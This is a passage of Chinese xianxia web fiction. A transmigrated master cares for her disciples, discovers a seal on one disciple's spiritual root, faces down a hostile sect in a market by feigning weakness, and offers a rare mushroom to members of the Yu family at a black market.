虽然师尊以前不是好人,但现在的师尊,她真的很喜欢。 如果,师尊也能对她好,哪怕只有对渺渺十分之一,她也心满意足了。 这么想着,她的目光穿透黑暗,直直的看着房门。 脚步声近了,更近了,停在了她的门口? 时间仿佛凝固了一瞬。 然而,那期待中的敲门声并未响起。 脚步声只是极其短暂地停顿了一下,便再次响起,毫不留恋地、清晰地、朝着更远处渐行渐远,最终彻底消失。 郁仙僵在床上,前倾的身体慢慢垮了下来,像一只被戳破的、漏了气的皮球。 刚刚涌起的那点暖意被瞬间抽空,只剩下刺骨的冰凉和自我厌弃。 郁仙,你在自作多情什么? 她狠狠地在心里唾弃自己,你又不会像渺渺那样撒娇,整天阴沉沉的,说话也硬邦邦的...师尊凭什么要喜欢你? 凭什么要给你讲故事? 巨大的失落和难堪席卷了她。 她猛地拽过薄被,将自己从头到脚严严实实地蒙了起来,在狭小黑暗的空间里蜷缩成一团,紧紧抱住自己的膝盖。 抱紧一点,就不会觉得冷了,也不会觉得孤独难过了。 ...... 云见月最终停在萧星尘的房门前。 门缝里透出昏黄摇曳的烛光。 “叩叩叩。”她轻轻敲了敲门,声音温和:“星尘,睡了吗?” 屋内传来一阵衣物摩擦的窸窣声,紧接着是萧星尘带着一丝慌乱和沙哑的回应:“师尊?我......我还没睡。” 声音闷闷的,显然心情低落。 “那为师可以进来吗?” “......可以。” 得到了他的准许,云见月推门而入。 房间陈设简单,萧星尘正有些局促地站在床边,双手无意识地绞着衣角。 云见月走过去,自然地拉着他的手,一起在床边坐下。 “睡不着?”她轻声问,目光温和地落在他低垂的眼睫上。 萧星尘的嘴唇抿得更紧了,他点了点头,喉咙里发出一个含糊的“嗯”音,却不肯再多说。 云见月知道症结所在,但她希望他能自己说出来,而不是有什么事都憋在心里。 她轻轻拍了拍他的手背,声音带着安抚人心的力量:“星辰,还记得刚才为师跟你们说的话吗?我们是一家人,是一个整体。开心的事要分享,有困难更要一起分担,互相帮助,互相鼓励,对不对?” 萧星尘的身体几不可察地颤了一下。 他缓缓抬起头,看向云见月的眼神里充满了挣扎和委屈。 “师尊......”他的声音带着哽咽,终于鼓起勇气,将积压了一晚上的苦涩倾倒出来。 “师弟师妹们都突破了,四师弟筑基了,二师弟也到了筑基中期,三师妹的能力那么特别,渺渺更是福星,只有我的修为毫无寸进,我明明是单一土灵根,我也不知道自己为什么会这样?可能是我悟性太低,师尊您会不会对我特别失望?” 说着,他委屈的眼睛都红了。 云见月摸着他的头,“不要妄自菲薄,在师尊眼里,你和你的师弟师妹们一样都很优秀。” “可是,我明明是修为最低的,也是最没有长进的,连我的家族都......”说道这里他哽咽了。 萧氏一族,就是觉得他是个废物,不必浪费资源培养,才把他丢到玄天宗的不闻不问的。 家族都放弃了他,师尊会不会也...... 看着他眼中深不见底的自卑和痛苦,云见月的心揪紧了。 “你的师弟师妹们修为增长快,是因为他们恰好找到了适合自己的修炼方向和方法。 而你,只是还没有找到属于你的那条路。修炼速度慢,不代表你不行,这恰恰可能意味着你在‘厚积薄发’!” “厚积薄发?”萧星尘茫然地重复着这个词,眼中燃起一丝微弱的火苗,但很快又黯淡下去,“师尊,我自从测出灵根,没有一刻敢懈怠,可修为一直卡在炼气三层,这又怎么解释?” 云见月也无法解释。 原书里也没有解释过。 但她知道,未来的萧星尘会成为魔尊,是男主崛起路上的绊脚石。 至于萧星尘成为魔尊后是如何提升修为的,书里也没写,毕竟不是主角,绝大部分笔墨都在刻画男主如何打怪升级上。 云见月稍作思量,决定探查一番。 “星辰,你且坐好,放松心神,为师用神识为你仔细探查一下身体,或许能找到原因。” 萧星尘顺从地盘膝坐好,闭上双眼,努力放松紧绷的身体和心神。 云见月双眸微阖,强大的化神期神识小心翼翼地探入萧星尘的体内,顺着经脉游走,最终聚焦于他丹田深处那象征着土灵根的光团。 封印! 当她的神识触及那土黄色的光团时,一股强烈的阻滞感传来。 只见在那浑厚精纯的土灵根本源之上,赫然缠绕着数道如同实质的、散发着冰冷阴晦气息的灰色锁链。 这些锁链由极其高深玄奥的禁制符文构成,深深地勒入灵根本源之中,将其牢牢禁锢。 正是这封印,将萧星尘的灵根死死锁住,让他空有单一土灵根的天赋,修炼起来却如同背负着万仞高山,寸步难行。 云见月心中剧震,一股寒意夹杂着怒火升腾而起。 是谁?竟然对一个年幼的孩子下封印? 她尝试调动神识,切割那灰色的符文锁链。 然而,那封印异常顽固,她的神识之力冲击上去,竟如同泥牛入海,只激起符文一阵微弱的涟漪,便再难撼动分毫。 这封印的等级,远超她目前的修为。 她收回神识,没有告诉他封印一事,以免他受到打击。 “星辰,你的身体没有问题,你之所以修炼速度慢,是因为......” 云见月停顿了一下,必须给出一个合理的理由。 既然灵根被封印,无法修炼,那法修就不适合他。 她总不能一直用“厚积薄发”搪塞他,必须要让他尽快看到自身的变化,才能加强信心。 她瞬间想到了书中男主楚凌风得到的一本体修功法。 楚凌风是金木水火土五行灵根,五灵根被誉为咋灵根,因为要同修五种灵根,修炼速度异常缓慢,所以被认为是最废柴的灵根。 但楚凌风自从得到适合五灵根的功法,修为就一路高歌,突飞猛进。 但这仅仅是法修。 之后他又得到了一本体修功法。 从此,他法修和体修一起修炼,攻击防御成几何倍增长。 算算时间,还有一个月灵墟秘境开启。 届时,化神期修士都将进入秘境探险,她便可借此机会,去抢楚凌风的机缘。 萧星尘见她迟迟未曾说话,忐忑道:“师尊,是因为什么?” 云见月回神:“因为,你的身体更适合体修。” 第22章 云见月故意卖惨,柳青冥被气得七窍生烟 “体修?”萧星尘愣住了,这个词对他来说有些陌生。 “对!锤炼肉身,以力破法,不动如山,动则撼地!”云见月的眼神熠熠生辉,充满了感染力。 “你的土灵根厚重沉稳,正是炼体的绝佳根基,法修前期进境快,但体修一旦大成,肉身成神,万法不侵,威力无穷,那才是属于你的通天大道。” 她稍稍停顿,看着少年眼中重新燃起的火苗,抛出了更大的诱惑:“为师方才心有所感,冥冥中窥见一丝天机。 就在一个月后,灵墟秘境即将开启,在那秘境深处,就藏有一部最适合你的顶级体修功法,为师向你保证,无论付出何种代价,为师定会进入秘境,亲手将那功法为你夺来。” “真...真的吗?”萧星尘猛地抬起头,呼吸瞬间变得急促,黯淡的眸子爆发出难以置信的璀璨光芒,仿佛抓住了最后一根救命稻草。 巨大的惊喜冲击得他声音都在发颤。 “为师保证!”云见月的声音斩钉截铁,带着不容置疑的力量。 扑通! 萧星尘再也抑制不住内心的激动和感激,猛地双膝重重跪在地上,额头触地:“徒儿...徒儿谢师尊。” “快起来。”云见月立刻弯腰将他用力扶起,“你是为师的徒儿,为师自当为你筹谋打算,以后不许动不动就跪,记住了吗?” “是!徒儿记住了!”萧星尘用力抹去眼泪,站得笔直,脸上是前所未有的坚定和光彩,之前的阴霾一扫而空。 云见月看着他重新焕发的神采,心中稍安。 她柔声道:“嗯,那现在,可以乖乖睡觉了吗?” “嗯!”萧星尘用力点头,脸上带着如释重负的笑容,乖乖爬上床,躺好,闭上了眼睛。 云见月替他掖好被角,又静静地看了他一会儿,确认他睡熟后,才轻手轻脚地吹熄了蜡烛,退出房间,轻轻带上了门。 萧星尘的封印如同一道警钟,提醒她,守护这些孩子的道路,远比她想象的更加艰难和凶险。 一个月后的灵墟秘境,她必须做好万全的准备,必须尽快卖掉枯荣轮回菇,如此才能有更多灵石作为保障。 ...... 清晨。 云见月推开房门,清新的空气带着露水的微凉涌入肺腑。 她一眼便看到庭院中正挥动着扫帚,把地面扫的一尘不染的小小身影,正是萧星尘。 少年一扫昨夜的阴霾与失落,动作利落,神情专注。 听到开门声,他立刻停下,转过身,脸上带着清爽的笑容,朗声道:“师尊早上好!” “早,星尘。”云见月回以微笑,看着弟子重新焕发的活力,心中甚慰。 空气中弥漫着一股诱人的米香,丝丝缕缕,勾动着人的食欲。 “你师弟师妹们呢?”她问道。 “四师弟在后院砍柴,二师弟在厨房帮忙生火,三师妹在做早饭。” 萧星尘话音刚落,奶声奶气的声音伴随着蹦跳的脚步声由远及近。 “师尊,早上好呀!”苏渺渺像只欢快的小鸟,怀里抱着那只雪白带金纹的白虎崽“小白”,一路小跑过来。 随着她的跑动,粉嘟嘟的脸颊上那两团可爱的奶膘也跟着一颤一颤,如同新鲜出炉的白玉包子,看得人心头发软。 小白在她怀里,舒服地眯着眼,发出细小的呼噜声。 “我们渺渺也早上好呀。”云见月笑着俯身,揉了揉渺渺柔软的发顶,又轻轻点了点小白的鼻子。 “师尊,三师姐已经做好早饭啦,可香可香了,我们快去吃饭吧。”渺渺大眼睛亮晶晶的。 “好,吃饭。”云见月牵起渺渺的小手,又示意萧星尘跟上,三人一同朝厨房走去。 还未走近,就听到后院传来有节奏的“嚓、嚓”声。 拐过弯,只见江迷雾小小的身影正挥舞着他的凝霜剑。 不知砍了多久,小家伙整张小脸都红扑扑的,额头上沁出细密的汗珠,但他眼神专注,一丝不苟。 看到云见月的身影,江迷雾立刻停下动作,利落地收剑入鞘,像只小豹子跑了过来。 他仰着小脸,大眼睛扑闪扑闪地望着她,脸上写满了“快夸我”的期待。 云见月被他这模样逗乐了,好笑地伸手捏了捏他汗津津、红扑扑的小脸蛋: “阿雾又乖又勤奋,小小年纪就知道为师兄师姐分担,为师看了真为你感到骄傲。” 一句夸奖,瞬间点亮了江迷雾的眼睛,让他眉开眼笑,仿佛所有的辛苦都值得了。 他立刻拉住云见月的手,急切地往厨房里拽:“师尊,快走快走,今天三师姐熬了灵米粥,可香啦,徒儿闻着这个味道,肚子早就咕咕叫了。” “好好好,吃饭,吃饭。”云见月任由他拉着,笑着走进厨房。 厨房里,饭菜的香气更加浓郁。 简单的木桌上,已经摆好了碗筷。 一大盆熬煮得恰到好处的灵米粥,米粒颗颗晶莹饱满,粥汤浓稠,表面浮着一层诱人的米油,散发着谷物香气。 旁边是一碟翠绿的凉拌菜叶,只加了少许盐和灵泉香油,清爽开胃。 虽简单,却透着家的温馨与用心。 鹿闻声见云见月进来,连忙拉开主位的椅子。 郁仙则动作麻利地盛好一碗热气腾腾的粥,稳稳放在她面前。 江迷雾不甘示弱,赶紧递上干净的筷子:“师尊快尝尝三师姐的手艺。” 孩子们围在她身边忙碌着,明明自己也都饿了,却心甘情愿地先伺候着她,小脸上满是真诚的关切。 云见月看在眼里,暖在心里,不由得感叹:这些孩子,经历了那么多磨难,却依然保持着最纯真的善良和孺慕之情,真是太可爱了。 在郁仙略带紧张又饱含期待的目光注视下,云见月将一小口温热的灵米粥送入口中。 米粒软糯适中,入口即化,米香混合着淡淡的灵气,瞬间在舌尖弥漫开,温润地滑入喉咙,带来一股舒适的暖意。 她眼睛顿时一亮,毫不吝啬地冲郁仙竖起大拇指: “仙儿,你这做饭的手艺怎么这么好啊,这灵米粥熬得火候刚刚好,米香浓郁,口感绵滑,是为师吃过最好吃的粥了。” 她由衷地赞叹,“为师不在的那三天,你的师兄师弟师妹们可真是有口福了,难怪一个个都胖乎了些。” 这般直白热烈的夸赞,让郁仙的小脸瞬间染上了红霞,像熟透的苹果。 她羞涩的手指无意识地绞着衣角,但嘴角却抑制不住地微微上扬。 “师尊若是喜欢,以后徒儿每天都给您做。” 在养父母家和亲生父母家,她付出再多也换不来一句好话,只有打骂和嫌弃。 而师尊的每一次肯定,都像珍贵的阳光,照亮她心底的角落。 “不用。”云见月下意识地摆手。 郁仙脸上的笑容和羞涩瞬间凝固,眼神黯淡下去,手指猛地收紧。 云见月立刻意识到自己说错话了,赶紧解释:“仙儿别误会,师尊的意思是,你还是个孩子,最主要的任务就是好好学习,天天向上。 为师怎么能因为自己的口腹之欲,就让你天天围着灶台转,耽误了你修炼的大好时光呢?” 她语气温柔而坚定,“以后只要为师有空,饭就由为师来做。你们啊,在家要兄友弟恭,互相扶持;在外要强大自身,绝不能被人欺负了去,明白吗?” “明白了!”孩子们齐声应道,声音响亮。 郁仙紧绷的身体也放松下来,轻轻点了点头。 “既然明白,那就开动吧,等吃完饭,为师带你们出去转转。”云见月笑着宣布。 孩子们立刻端端正正坐好,拿起碗筷,开始享用这顿简单却充满温情的早餐。 萧星尘一边喝粥,一边好奇地问:“师尊,我们出去做什么?” 当然是碰碰运气,看能不能遇到上域虞家的人,把枯荣轮回菇尽早出手。 不过这话不能明说。 云见月面不改色,轻松道:“带你们散散心,看看坊市的热闹。” 一个时辰后,坊市。 虽然不是第一次来,但孩子们的情绪还是异常高涨,看什么都觉得新鲜有趣。 云见月带着他们边逛,目光边四下寻找。 温馨闲逛的气氛并未持续太久。 四道散发着不善气息的身影,突兀地拦在了他们面前,挡住了去路。 为首一人,正是狼狈逃走的柳青冥。 他的伤已经好了,完全看不出那日被云见月打的屁滚尿流的狼狈模样。 此刻,他正怨毒地盯着云见月。 他身边站着三位身着赤炎宗长老服的老者,个个气息深沉,眼神锐利如鹰,牢牢锁定云见月。 “云见月!”柳青冥的声音因愤怒而尖利,“你好大的狗胆,我问你,我赤炎宗赤枭长老,六位元婴期大能,以及十数名金丹弟子,昨日前往你玄天宗后便魂灯尽灭,音讯全无,是不是你这毒妇下的毒手?” 强大的威压扑面而来,云见月心中一凛,立刻将五个孩子严严实实地护在身后。 她扫了一眼周围,果然有人注意到他们这里的争执。 她脸上瞬间切换成惊愕和无辜的表情,声音带着恰到好处的委屈和难以置信: “柳青冥,你、你血口喷人。” 她微微提高了声调,确保周围看热闹的人群都能听清,“这怎么可能?我不过一介弱质女流,修为堪堪化神初期,如何能越级挑战杀得了化神中期的赤枭长老? 更何况,你竟说我还能同时杀掉六位元婴大能和十几个金丹高手?这简直是明晃晃的诬陷,诸位道友评评理,这可能吗?” 柳青冥被她这倒打一耙气得七窍生烟,指着她厉声道:“你还敢狡辩!昨日我赤炎宗众人就是去了你玄天宗,除了你,还有谁会下此毒手?定是你用了什么阴险歹毒的手段!” 云见月脸上露出更大的委屈,“我和你们赤炎宗无冤无仇,我为什么要杀你门下弟子?我图什么?图你们赤炎宗家大业大,好来追杀我吗?” 第23章 上域虞家人出现了,他长得冠绝天下妖孽非凡 “你!”柳青冥被她噎住,脸涨成了猪肝色。 他总不能当众说出自己带人意图杀人夺宝、还要把云见月和她的徒弟卖到炉鼎楼供人采补享乐的龌龊心思吧? 虽然杀人夺宝在修真界是不言而喻的共识,但这种事情,没有人傻到当众说出来。 他身边的三个长老脸色也极其难看。 “因为什么?你说呀!”云见月紧追不舍,暗地里狠狠掐了自己大腿一把,声音立刻带着哭腔,眼圈瞬间就红了。 “柳青冥,你为何要如此污蔑于我?你们赤炎宗是大宗,声名赫赫,而我玄天宗,如今就只剩下我们师徒六个妇孺,我平日里谨小慎微,恨不得把头埋进土里做人,生怕招惹了是非引来杀身之祸。” 她声音哽咽,情真意切:“我死没关系,可我这五个可怜的徒儿怎么办?他们还这么小,还没好好看过这世间繁华,我躲着你们还来不及,又怎么敢去招惹、去杀害你们赤炎宗那么多强者?难道我是嫌自己命太长,嫌徒儿们活得太安逸了吗?” 她深吸一口气,仿佛用尽了全身力气,对着周围人群悲愤道:“更何况,诸位道友都是明眼人,你们说说,我一个化神初期的女修,如何能越级斩杀化神中期? 如何能同时灭杀六位元婴、十数金丹?这根本就是不可能完成的事情! 这分明就是柳青冥见我们玄天宗势单力孤,故意栽赃陷害,欺辱我们身后无人。 欲加之罪何患无辞啊,这不是睁着眼睛说瞎话吗?太可怕了,真是太可怕了。” 她这一番声情并茂的控诉,加上那副柔弱无助、泫然欲泣的模样,瞬间激起了围观修士的同情心。 “是啊,化神初期杀中期?你当是小孩子过家家呢?” “赤炎宗这是欺负人家没靠山,想要霸占人家玄天宗吧?” “就是,看人家全宗只剩下六个人好欺负,想找个由头把人灭门吧?” “啧啧,赤炎宗行事真是越来越霸道了……” “欺负弱小,令人不齿!呸——” 七嘴八舌的议论声如同潮水般涌向柳青冥和那三位长老。 柳青冥和三位长老的脸色一阵青一阵白,如同开了染坊,在众人指指点点的目光下,只觉得脸上火辣辣的疼,胸中怒火翻腾却又无处发泄,憋屈得几乎要吐血。 柳青冥恨不得立刻将云见月碎尸万段。 然而众目睽睽之下,他们赤炎宗毕竟是青云大陆有名的大宗,若今日真不顾一切地强行对云见月几个“孤儿寡母”动手,一旦传开,那宗门百年声名就算是彻底臭了。 三个长老开始耳语道:“此地不宜动手,众怒难犯,强行动手得不偿失。” “不错!杀她何必急在这一时,一个月后,灵墟秘境开启,届时化神修士必然云集,这云见月既然也是化神,定会进去寻找机缘,到了那时……” “秘境之内,杀机四伏,生死由命,我们有的是机会神不知鬼不觉让她死在里面。” 闻言,柳青冥深吸一口气,强行压下几乎要喷薄而出的杀意。 他盯着云见月,话语几乎是从牙缝里挤出:“云见月,你很好!今天算你走运,不过你给本少宗主记住,这事儿,没完!咱们走着瞧!” 说完,他猛地一甩袖袍,带着三位长老,在无数道或鄙夷或嘲讽的目光注视下,灰溜溜地挤出人群。 人群看热闹的心也慢慢散了。 云见月站在原地,脸上那副泫然欲泣、楚楚可怜的模样瞬间消失得无影无踪。 她轻轻拭去眼角根本不存在的泪痕,嘴角勾起一抹几乎难以察觉的嘲弄笑意。 “好了,影响心情的玩意儿走了,咱们继续逛咱们的,想吃什么想玩什么,跟师尊说。” 说着,她带着徒儿们离开。 听雨轩茶馆二楼雅座,窗户半开,两道身影凭栏而坐,将下方刚才云见月与赤炎宗冲突的整个过程尽收眼底。 其中一名女子容貌明艳,穿着一身月白色的劲装,显得英姿飒爽。 她端起茶杯,抿了一口,看向对面的黑衣青年:“哥,你觉得那赤炎宗的人,真是被她杀的?” 坐在她对面的黑衣男子身形挺拔,面容冷峻,深邃的目光依旧追随着云见月师徒逐渐没入人群的身影。 半晌,才笃定地吐出两个字: “是她。” “何以见得?她不过化神初期,怎么能越级杀死化神中期,而且还包括诸多元婴和金丹弟子。” 虽然她也觉得云见月不简单,但越级杀这么多人,实在匪夷所思。 黑衣男子嘴角勾起一丝极淡的弧度:“感觉。” 刚才云见月扮柔弱装可怜时,手掐大腿的动作,他可看得一清二楚。 心知实力暂时不能硬撼强敌,就利用局势,引动舆论,四两拨千斤逼退敌人。 能在下域这等贫瘠之地,年纪轻轻达到化神,又能在群敌环伺下保全自己和几个毫无依仗的稚童,这份心计和反应速度……厉害! 连杀化神中期及多名元婴金丹,虽然不知她如何做到的,但这等战绩,即便放在上域,也足以令人侧目。 真没想到,这下域,竟也有如此人物。 就在兄妹二人低声谈论时,雅间的门帘被人掀开,一人走了进来。 此人身形高挑,穿着一件极其花哨的长袍,那袍子底色是张扬的火红,上面用金线、银线、绿线、蓝线……足足用了七八种炫目的彩线,极其繁复地绣满了层层叠叠的折枝牡丹、翩跹蝴蝶,浴火凤凰......衣领、袖口和下摆还用金丝滚了边。 腰间松松垮垮系着一条色彩斑斓的丝绦,上面挂了好几个色泽温润的玉佩、香囊以及铃铛。 一头墨发用一根亮闪闪的紫玉簪斜斜挽着,几缕不听话的发丝垂落鬓边。 可即便如此,却完全盖不住他冠绝天下的长相。 他肤白胜雪,眉眼如画,尤其是一双天生带笑的桃花眼,流转间顾盼生辉,嘴唇天然带着微翘的弧度,唇角一颗小小的红痣更添了几分妖冶。 只是此刻,这张漂亮得近乎妖孽的脸上,写满了毫不掩饰的嫌弃和抱怨。 “烦死了,白高兴一场。”他捏着一把精巧的玉骨折扇,烦躁地扇了扇风,“我在这破坊市逛了一大圈,所有的成衣铺子都去遍了,就连一件能入眼的都没有。 全都是些什么呀?料子粗糙,绣工粗劣,款式土得掉渣,简直拉低我的格调,白白浪费我的期待和时间。” 他的声音清朗中带着独特的腔调,像珠玉相撞,可抱怨的内容着实让人哭笑不得。 白衣女子无奈地抚额,看着自家这位比女子还爱美、还挑剔、还有着极致外貌协会的小叔叔: “小叔,您上次在玉琼楼定做的百鸟朝凤袍,还没穿三次呢。” 花蝴蝶般的男子闻言,用扇子点了点侄女,一脸恨铁不成钢:“你这孩子,就是不懂得发现生活点滴之美。” 白衣女子明智地选择了闭嘴。 “罢了罢了!”花蝴蝶男子意兴阑珊地摆摆手,总算想起了正事,“没漂亮衣服买,那就干正事。那枯荣轮回菇有消息了吗?” 黑衣男子沉声道:“没有,不过我打听到,明天晚上这里最大的拍卖行开启,到时我们可以去看看。” 花衣服男子点头:“看来也只能这样了。” 说完,他坐下来,掏出一个镶满各色钻石、被擦的锃亮的漂亮小镜子,对着自己这张完美无缺的脸照了起来。 黑衣男子和白衣女子:“......” ...... 云见月带着几个小家伙在摊贩间穿行,买了灵果糕点。 小家伙们玩得尽兴,虽然没有遇到自己想要遇到的人,但也算不虚此行。 “太阳要下山了,咱们回家。”她招呼着徒弟们,一行人踏着夕阳余晖离开坊市。 暮色四合时,玄天宗残破的山门映入眼帘。 这穷得叮当响的破落山头,竟没引来半个趁火打劫的。 真可谓:耗子来了都得哭,土匪看了直摇头。 夜色如墨,玄天宗简陋的屋舍里只剩下烛火跳动的轻响。 云见月替孩子们掖好被角,苏渺渺往她掌心蹭了蹭,嘟囔着“好吃”。 云见月无奈的摇摇头,真是一个小馋猫,做梦都不忘吃。 确保孩子们都睡下了,她才转身回到自己的寝殿。 盘膝坐在床上,识海中剧情飞速闪过:上域虞家明晚会先去拍卖行,无果后转道黑市,届时会遇到楚凌风兜售枯荣轮回菇。 那株玄菌成了他攀附上域的敲门砖,十万上品灵石和人情让他后期顺风顺水。 正常人都不会把这等天材地宝卖掉,可男主偏偏这样做了。 是冥冥之中的指引? 还是天道偏爱的男主光环? 云见月指尖无意识地掐紧了掌心。 不管是何种原因,这一次,机会只能是她的! 时间悄然流逝,转眼就是翌日入夜。 残阳刚落,云见月将孩子们叫到自己寝殿:“师尊去办件重要的事,你们待在这儿,不许踏出门半步。” 苏渺渺抓着她衣角:“师尊要去哪里?危险吗?” “放心,不危险。”云见月揉了揉她的发顶,心却沉甸甸的。 黑市鱼龙混杂,带他们去难保周全;可留在无防护的宗门…… 她别无选择。 第24章 死了还要被做成标本,惨,实在是太惨了 云见月丹田灵力运转,十二道禁制层层叠叠笼罩寝殿。 “无论听到外面有任何动静,都绝不可踏出门半步,天亮之前,为师一定会回来。”她严肃叮嘱着。 得到孩子们的肯定回答,她才换上一身最不起眼的黑色夜行衣,宽大的帽子拉下,将整张脸隐藏在深邃的阴影里,只露出一双锐利警惕的眼眸。 身影融入夜色,直奔黑市。 黑市内,潮湿、阴冷、混杂着各种血腥、药草、腐烂的气息。 光线极其昏暗,路边摊位上悬挂的油灯,勉强勾勒出狭窄通道和两旁密密麻麻摊位的轮廓。 人影绰绰,大多和她一样裹着各色袍子,面纱遮面,气息混杂难辨,空气中飘荡着讨价还价声、争执声、物品的碰撞声...... 就在这片混乱中,云见月看到了一个熟悉的身影。 那人没有做任何伪装,只是脱下了象征青云剑宗的青衫,换上了一身低调的玄色常服。 然而那张剑眉星目、带着几分倨傲的脸——不是楚凌风又是谁? 一股寒意瞬间从云见月脚底窜上头顶。 他怎么会在这里? 难道…...难道万瘴之森里还有第四株枯荣轮回菇? 还是说,天道真的在强行修正剧情,把这份机缘硬塞给他? 这个念头让她几乎咬碎银牙,一股强烈的不甘涌上心头。 绝不允许! 天道又如何?男主光环又如何? 若天道要修正剧情,她偏要逆了这天道。 云见月低着头,弓起背,伪装出老态龙钟的姿态,时不时压抑地咳嗽几声,咳嗽时用灵力压低声线,仿佛一个行将就木的老妪,默默走到楚凌风摊位旁边一个空着的位置。 楚凌风只是淡淡的看了她一眼,便收回了目光。 云见月隐藏在帽子阴影下的双眼,紧紧锁定着黑市人流的一举一动。 约莫一炷香后,一阵环佩叮当声突然划破了黑市的嘈杂。 云见月顺着声音看过去,只见黑市入口处,陡然出现了一抹极其不和谐的、绚烂到刺目的色彩。 那是一个男人。 他像披了彩虹,衣袍上金线在昏暗里闪烁着,这身打扮,在任何一个人身上都堪称灾难,可唯独被他穿出了慵懒潇洒之感。 他的出现,仿佛一下子照亮了整个黑市,周围的所有人都沦为了他的背景板。 那张脸雌雄莫辨,眼尾微微上挑,唇色像淬了蜜的朱砂,最绝的就是唇角一颗小小的红痣,如同点睛之笔,平添了十分的妖冶魅惑。 那脸完美得不似真人,超越了性别,超越了云见月见过的所有所谓“美男子”。 无论是阴柔的柳青冥,还是英挺的楚凌风,在此人面前都黯然失色,如同顽石之于美玉。 跟在这位花蝴蝶般男子身后的,是气质不凡的黑衣青年与白衣女子。 三人步履从容,目光扫过摊位时带着淡漠。 是他们! 上域虞家人。 云见月屏住呼吸,看着他们一路走来,对两旁摊位的呼唤置若罔闻,脚步没有丝毫停顿。 最终,如同宿命的牵引,又像是剧本的既定路线,那抹最耀眼的色彩,停在了楚凌风的摊位前。 云见月之所以能认出他们,还要归功于原书对这位穿得像移动彩虹的妖孽男人细致入微的描写,他是她整本书最喜欢的绝色,也是她坚持看下去这本退婚种马流小说最大的动力。 他被誉为天上地下独一份的美貌,他就是上域虞家最受宠的小叔——虞青焰。 跟在他身后的黑衣青年是他的侄子虞明爵,白衣女子则是侄女虞明镜。 而这位虞明镜,未来会成为楚凌风后宫的一员。 当然,书中凡是容貌绝色的女子,最后都将成为楚凌风的女人。 其中就包括将虞家少主打成重伤濒死的封家人,封家有个女儿后来也入了楚凌风的后宫。 自此,虞明镜和那位封姓女,竟成了姐妹。 原本不死不休的两族,因楚凌风这层关系被迫化干戈为玉帛。 唯独虞青焰宁折不弯。 这般不给男主面子,自然成了剧情里的反派。 而反派的下场,往往惨烈。 她的五个反派徒儿死的虽惨,好歹死了就没有然后了。 但虞青焰神魂俱灭后,因其长得太美,尸体被做成标本,在整个修真界巡回展览,楚凌风靠这个赚得盆满钵满,就连飞升仙界都不忘带着这具标本,让他在仙界继续被仙人赏玩。 楚凌风真是躺着赚钱。 云见月目光不由自主地多停留在虞青焰身上几秒。 或许是她的视线太灼人,正准备开口询问楚凌风的虞青焰突然转头,桃花眼精准地看向她。 云见月心脏猛地一缩,慌忙低下头,装作整理衣袍的老妪模样。 “你这里卖什么?” 虞明镜清冷的声音响起,是对楚凌风说的。 楚凌风先是被虞青焰妖孽的脸慌了神,反应过来他是男人,眼底浮现可惜神色。 当看向虞明镜时,眼中再次飞快掠过一丝惊艳。 他隐隐觉得这三人绝非等闲,定是攀附的好机会,他压下心头的悸动,脸上迅速堆起恰到好处的笑容,利落地从储物袋中取出一物。 那人参形如小儿臂膀,通体白玉般莹润,根须如银线四散。淡淡光华萦绕间,磅礴的生机扑面而来——正是千年玄玉参王。 “此乃千年玄玉参王,可续元寿、固本培元,纵是濒死之人,服下亦能延寿一甲子。” 玄玉参王虽不及枯荣轮回菇那般能生死人肉白骨,亦是此界罕有的续命至宝,万金难求。 呼—— 云见月屏住的呼吸陡然一松,指尖的凉意散去大半——不是枯荣轮回菇就好。 看来天道也没硬到非要把机缘塞给他。 虞明爵眼神微动,侧头对虞明镜道:“年份药力不假,确是稀罕的续命之物。” 虞明镜点头,目光转向虞青焰。 他们此行本就是为寻找能救少主的奇物。 但枯荣轮回菇缥缈难寻,若实在无望……眼前这株千年玄玉参王,虽不能根治,却也能强行延寿数十载,为他们争取到更多寻找枯荣轮回菇的时间。 这无疑是此刻最现实的备选方案。 虞青焰慵懒的嗓音终于响起,带着一丝漫不经心:“千年玄玉参王?倒是难得。” 他桃花眼微眯,流露出几分感兴趣的神色。 楚凌风心头狂喜,仿佛看到了天价灵石在向他招手。 他嘴角的笑意加深,正待趁热打铁,详细介绍此参的珍贵之处,以及自己如何“千辛万苦”才得到它…… 旁边突然爆发出一阵剧烈的咳嗽。 “咳咳咳…咳咳咳咳...咳咳......” 一阵撕心裂肺、仿佛要把五脏六腑都咳出来的剧烈呛咳声,极其突兀地炸响。 只见,那弓着腰的“老妪”一边咳,一边颤巍巍地掏出一个东西。 一股奇异的气息陡然扩散开来——那气息远比玄玉参王更内敛、更古老,带着浓郁的生机,却又隐隐透着枯败的死寂,仿佛包容了天地间的生死轮回。 这股气息出现的瞬间,就如同无形的巨浪,将玄玉参王散发出的浓郁生机彻底淹没、压制! “蘑、咳咳咳…蘑菇…新鲜的蘑菇,漂亮的蘑菇…...有没有人买,回家做、咳咳…做小鸡炖蘑菇…可香了……” 楚凌风脸上的自信笑容瞬间冻结!他如同被冰水从头浇下,浑身僵硬。 这是什么?这气息……他总觉得这个东西应该是属于他的。 虞家三人也被吸引。 虞青焰的眼眸,落在云见月手中的“蘑菇”上。 这是枯荣交替的道韵......这不正是他们苦苦寻找的枯荣轮回菇吗? 等等。 刚才她说什么? 蘑菇?炖鸡? 虞青焰细细打量云见月,眼神仿佛能将人看穿。 而后,唇角那抹妖孽的弧度加深了,带着一种洞悉一切的玩味。 他身形一动,步履优雅风流,绕过楚凌风的摊位,站在了云见月面前。 他微微俯身,距离瞬间拉近,那张完美无瑕的俊脸几乎要贴到云见月的帽檐。 他身上带着一股难以形容的、似香非香的清冽气息,强势地闯入云见月的感知范围。 他的桃花眼穿透帽子的阴影,极具侵略性地、直勾勾地凝视着云见月隐藏在黑暗中的轮廓。 有意思。 “老婆婆,你这‘漂亮蘑菇’,打算怎么卖呀?” “卖”字的尾音被他刻意拖得悠长,带着戏谑。 云见月的“咳嗽”猛地一顿,硬生生卡在了喉咙里。 “咳…那、那你打算给多少灵石?” 虞青焰笑了。 那笑容如同月夜下骤然绽放的罂粟,惑人到了极致,也充满了危险的恶趣味。 他没有说话,只是优雅地伸出十根修长的手指。 云见月眸子缩了缩。 十万? 果然和原书剧情里楚凌风卖给他们的价格一模一样,十万上品灵石。 她的心激动得几乎要跳出胸腔,有了这笔钱,修复宗门阵法、置办灵材功法、甚至给孩子们添置像样的东西都绰绰有余了。 她压制着激动道:“十万?” 虞青焰轻轻摇晃着他那根纤尘不染的手指,慢条斯理地吐出两个字: “十颗。” 顿了顿,补充道:“下品灵石。” 云见月:“……” 十颗下品灵石? 有没有搞错?你还不如直接去抢! 她气呼呼的对上了虞殷促狭的眼睛。 